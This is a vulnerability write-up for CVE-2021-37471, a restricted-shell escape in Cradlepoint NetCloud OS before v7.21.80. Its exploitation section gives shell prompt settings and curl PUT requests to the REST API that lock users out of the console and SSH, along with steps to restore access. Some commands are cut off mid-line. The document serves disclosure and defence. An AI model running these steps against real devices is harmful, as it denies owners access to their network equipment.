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# CVE-2021-37471

## Table of Contents

- [Description](#)
  - [\[CVE\]: CVE-2021-37471](#)
  - [\[Class\]: Denial of Service / Denial of Availability](#)
  - [\[Attack Type\]: Context-dependent](#)
  - [\[Vendors\]: Cradlepoint](#)
  - [\[Affected Product Code Base\]: Versions before v7.21.80](#)
- [Links](#)
- [Lab Details](#)
- [Exploitation](#)
  - [Shell and Local Console](#)
  - [How to perform over REST API](#)
- [Mitigations](#)

## Description

### **[CVE]: CVE-2021-37471**

Cradlepoint NetCloud OS devices running versions before 7.21.80 are vulnerable to a restricted shell escape sequence that provides an attacker the capability to simultaneously deny availability to the device's NetCloud Manager console, local console and SSH command-line.

### **[Class]: Denial of Service / Denial of Availability**

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor, resulting in denial of service / denial of availability.

### **[Attack Type]: Context-dependent**

Exploitation methods include:

- Local console
- SSH command-line
- REST API

### **[Vendors]: Cradlepoint**

The vendor involved in this vulnerability is Cradlepoint.

### **[Affected Product Code Base]: Versions before v7.21.80**

Affected Hardware

- Devices running NetCloud OS (such as IBR900-600)

Affected Versions

- Versions before v7.21.80

## Links

- <https://nvd.nist.gov/vuln/detail/CVE-2021-37471>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37471>
- <https://cradlepoint.com/product/endpoints/ibr900/>
- <https://cradlepoint.com/vulnerability-alerts/cve-2021-37471-denial-of-console-availability-using-restricted-shell-escape-sequences/>

## Lab Details

- Hardware: IBR900-600

```
get status/product_info/product_name
```

```
"IBR900-600M"
```

- Software Version: v7.2.60

```
get status/fw_info
```

```
{
  "build_date": "Mon Sep 00:00:00 UTC 2020",
  "build_type": "RELEASE",
  "build_version": "b108091",
  "fw_update_available": false,
  "major_version": 7,
  "manufacturing_upgrade": false,
  "minor_version": 2,
  "patch_version": 60,
  "sign_cert_types": "ROOTCA RELEASE",
  "upgrade_major_version": 0,
  "upgrade_minor_version": 0,
  "upgrade_patch_version": 0
}
```

## Exploitation

Exploitation can be performed 3 ways. Local console, over SSH on the command-line or utilizing the REST API.

### Shell and Local Console

The vulnerability appears to stem from ANSI code that breaks the restricted shell prompt. Additionally, I observed escaping of raw ANSI like `\033[0m` so, you can't use that here and are forced to use the built-ins.

Deny user access with ANSI escaping

```
set /config/shell/prompt "</yellow>"
```

```
set /config/shell/prompt "</red>"
```

```
set /config/shell/prompt "</bold>"
```

Deny user access with str methods

```
set /config/shell/prompt "{id.center}"
```

```
set /config/shell/prompt "{id.index}"
```

Denial results in

```
Connection to IP_ADDRESS closed by remote host.
Connection to IP_ADDRESS closed.
```

Allow user access

```
set /config/shell/prompt "[{username}@{hostname}]: <
```

Allowing results in

```
Connection to IP_ADDRESS closed by remote host.  
Connection to IP_ADDRESS closed.
```

However, now you can log back in.

## How to perform over REST API

Over the REST API, you can craft a PUT method to accomplish user access denial.

Deny user access

```
curl -X PUT -d 'data="[username]@{hostname}: \\033
```

```
{  
  "success": true,  
  "data": "[username]@{hostname}: \\033[1m{cwd}  
</bold>]$ "  
}
```

Allow user access

```
curl -X PUT -d 'data="[username]@{hostname}: <bold
```

```
{  
  "success": true,  
  "data": "[username]@{hostname}: <bold>{cwd}  
</bold>]$ "  
}
```

## Mitigations

Mitigations are dependent on a bad actors possession of user credentials or updating to a fixed release. Cradlepoint stated a fix has been confirmed and released.

 [#CVE](#)  
 390 Words  
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